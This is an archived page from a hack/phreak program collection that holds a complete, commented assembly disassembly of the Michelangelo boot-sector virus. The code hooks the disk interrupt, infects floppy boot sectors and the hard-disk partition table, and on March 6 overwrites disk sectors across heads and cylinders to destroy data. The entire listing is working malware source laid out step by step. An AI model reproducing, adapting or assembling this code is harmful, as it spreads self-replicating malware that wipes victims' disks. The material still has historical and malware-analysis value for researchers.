home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MICH.ASM < prev    next >
Assembly Source File  |  1992-08-14  |  9KB  |  235 lines
  1. ; This is a disassembly of the much-hyped michelangelo virus.
  2. ; As you can see, it is a derivative of the Stoned virus.  The
  3. ; junk bytes at the end of the file are probably throwbacks to
  4. ; the Stoned virus.  In any case, it is yet another boot sector
  5. ; and partition table infector.
  6.  
  7. michelangelo    segment byte public
  8.                 assume  cs:michelangelo, ds:michelangelo
  9. ; Disassembly by Dark Angel of PHALCON/SKISM
  10.                 org     0
  11.  
  12.                 jmp     entervirus
  13. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  14. maxhead         db      2                       ; used by damagestuff
  15. firstsector     dw      3
  16. oldint13h       dd      0C8000256h
  17.  
  18. int13h:
  19.                 push    ds
  20.                 push    ax
  21.                 or      dl, dl                  ; default drive?
  22.                 jnz     exitint13h              ; exit if not
  23.                 xor     ax, ax
  24.                 mov     ds, ax
  25.                 test    byte ptr ds:[43fh], 1   ; disk 0 on?
  26.                 jnz     exitint13h              ; if not spinning, exit
  27.                 pop     ax
  28.                 pop     ds
  29.                 pushf
  30.                 call    dword ptr cs:[oldint13h]; first call old int 13h
  31.                 pushf
  32.                 call    infectdisk              ; then infect
  33.                 popf
  34.                 retf    2
  35. exitint13h:     pop     ax
  36.                 pop     ds
  37.                 jmp     dword ptr cs:[oldint13h]
  38.  
  39. infectdisk:
  40.                 push    ax
  41.                 push    bx
  42.                 push    cx
  43.                 push    dx
  44.                 push    ds
  45.                 push    es
  46.                 push    si
  47.                 push    di
  48.                 push    cs
  49.                 pop     ds
  50.                 push    cs
  51.                 pop     es
  52.                 mov     si, 4
  53. readbootblock:
  54.                 mov     ax,201h                 ; Read boot block to
  55.                 mov     bx,200h                 ; after virus
  56.         mov    cx,1
  57.                 xor     dx,dx
  58.                 pushf
  59.                 call    oldint13h
  60.                 jnc     checkinfect             ; continue if no error
  61.                 xor     ax,ax
  62.                 pushf
  63.                 call    oldint13h               ; Reset disk
  64.                 dec     si                      ; loop back
  65.                 jnz     readbootblock
  66.                 jmp     short quitinfect        ; exit if too many failures
  67. checkinfect:
  68.                 xor     si,si
  69.                 cld
  70.                 lodsw
  71.                 cmp     ax,[bx]                 ; check if already infected
  72.                 jne     infectitnow
  73.                 lodsw
  74.                 cmp     ax,[bx+2]               ; check again
  75.                 je      quitinfect
  76. infectitnow:
  77.                 mov     ax,301h                 ; Write old boot block
  78.                 mov     dh,1                    ; to head 1
  79.                 mov     cl,3                    ; sector 3
  80.                 cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  81.                 je      is360Kdisk
  82.                 mov     cl,0Eh
  83. is360Kdisk:
  84.                 mov     firstsector,cx
  85.                 pushf
  86.                 call    oldint13h
  87.                 jc      quitinfect              ; exit on error
  88.                 mov     si,200h+offset partitioninfo
  89.                 mov     di,offset partitioninfo
  90.                 mov     cx,21h                  ; Copy partition table
  91.                 cld
  92.                 rep     movsw
  93.                 mov     ax,301h                 ; Write virus to sector 1
  94.                 xor     bx,bx
  95.         mov    cx,1
  96.                 xor     dx,dx
  97.                 pushf
  98.                 call    oldint13h
  99. quitinfect:
  100.         pop    di
  101.         pop    si
  102.         pop    es
  103.         pop    ds
  104.         pop    dx
  105.         pop    cx
  106.         pop    bx
  107.         pop    ax
  108.         retn
  109. entervirus:
  110.                 xor     ax,ax
  111.         mov    ds,ax
  112.                 cli
  113.         mov    ss,ax
  114.                 mov     ax,7C00h                ; Set stack to just below
  115.                 mov     sp,ax                   ; virus load point
  116.                 sti
  117.                 push    ds                      ; save 0:7C00h on stack for
  118.                 push    ax                      ; later retf
  119.                 mov     ax,ds:[13h*4]
  120.                 mov     word ptr ds:[7C00h+offset oldint13h],ax
  121.                 mov     ax,ds:[13h*4+2]
  122.                 mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  123.                 mov     ax,ds:[413h]            ; memory size in K
  124.                 dec     ax                      ; 1024 K
  125.         dec    ax
  126.                 mov     ds:[413h],ax            ; move new value in
  127.                 mov     cl,6
  128.                 shl     ax,cl                   ; ax = paragraphs of memory
  129.                 mov     es,ax                   ; next line sets seg of jmp
  130.                 mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  131.                 mov     ax,offset int13h
  132.                 mov     ds:[13h*4],ax
  133.                 mov     ds:[13h*4+2],es
  134.                 mov     cx,offset partitioninfo
  135.                 mov     si,7C00h
  136.                 xor     di,di
  137.                 cld
  138.                 rep     movsb                   ; copy to high memory
  139.                                                 ; and transfer control there
  140.                 jmp     dword ptr cs:[7C00h+offset highmemjmp]
  141. ; destination of highmem jmp
  142.                 xor     ax,ax
  143.         mov    es,ax
  144.                 int     13h                     ; reset disk
  145.                 push    cs
  146.         pop    ds
  147.         mov    ax,201h
  148.                 mov     bx,7C00h
  149.                 mov     cx,firstsector
  150.                 cmp     cx,7                    ; hard disk infection?
  151.                 jne     floppyboot              ; if not, do floppies
  152.                 mov     dx,80h                  ; Read old partition table of
  153.                 int     13h                     ; first hard disk to 0:7C00h
  154.                 jmp     short exitvirus
  155. floppyboot:
  156.                 mov     cx,firstsector          ; read old boot block
  157.                 mov     dx,100h                 ; to 0:7C00h
  158.                 int     13h
  159.                 jc      exitvirus
  160.         push    cs
  161.         pop    es
  162.                 mov     ax,201h                 ; read boot block
  163.                 mov     bx,200h                 ; of first hard disk
  164.         mov    cx,1
  165.         mov    dx,80h
  166.                 int     13h
  167.                 jc      exitvirus
  168.                 xor     si,si
  169.                 cld
  170.                 lodsw
  171.                 cmp     ax,[bx]                 ; is it infected?
  172.                 jne     infectharddisk          ; if not, infect HD
  173.                 lodsw                           ; check infection
  174.         cmp    ax,[bx+2]
  175.                 jne     infectharddisk
  176. exitvirus:
  177.                 xor     cx,cx                   ; Real time clock get date
  178.                 mov     ah,4                    ; dx = mon/day
  179.                 int     1Ah
  180.                 cmp     dx,306h                 ; March 6th
  181.                 je      damagestuff
  182.                 retf                            ; return control to original
  183.                                                 ; boot block @ 0:7C00h
  184. damagestuff:
  185.                 xor     dx,dx
  186.         mov    cx,1
  187. smashanothersector:
  188.         mov    ax,309h
  189.                 mov     si,firstsector
  190.         cmp    si,3
  191.                 je      smashit
  192.         mov    al,0Eh
  193.         cmp    si,0Eh
  194.                 je      smashit
  195.                 mov     dl,80h                  ; first hard disk
  196.                 mov     maxhead,4
  197.         mov    al,11h
  198. smashit:
  199.                 mov     bx,5000h                ; random memory area
  200.                 mov     es,bx                   ; at 5000h:5000h
  201.                 int     13h                     ; Write al sectors to drive dl
  202.                 jnc     skiponerror             ; skip on error
  203.                 xor     ah,ah                   ; Reset disk drive dl
  204.                 int     13h
  205. skiponerror:
  206.                 inc     dh                      ; next head
  207.                 cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  208.                 jb      smashanothersector
  209.                 xor     dh,dh                   ; go to next head/cylinder
  210.         inc    ch
  211.                 jmp     short smashanothersector
  212. infectharddisk:
  213.                 mov     cx,7                    ; Write partition table to
  214.                 mov     firstsector,cx          ; sector 7
  215.         mov    ax,301h
  216.         mov    dx,80h
  217.                 int     13h
  218.                 jc      exitvirus
  219.                 mov     si,200h+offset partitioninfo ; Copy partition
  220.                 mov     di,offset partitioninfo      ; table information
  221.         mov    cx,21h
  222.                 rep     movsw
  223.                 mov     ax,301h                 ; Write to sector 8
  224.                 xor     bx,bx                   ; Copy virus to sector 1
  225.         inc    cl
  226.                 int     13h
  227. ;*              jmp     short 01E0h
  228.                 db      0EBh, 32h               ; ?This should crash?
  229. ; The following bytes are meaningless.
  230. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  231. partitioninfo:  db      42h dup (0)
  232. michelangelo    ends
  233.                 end
  234.  
  235.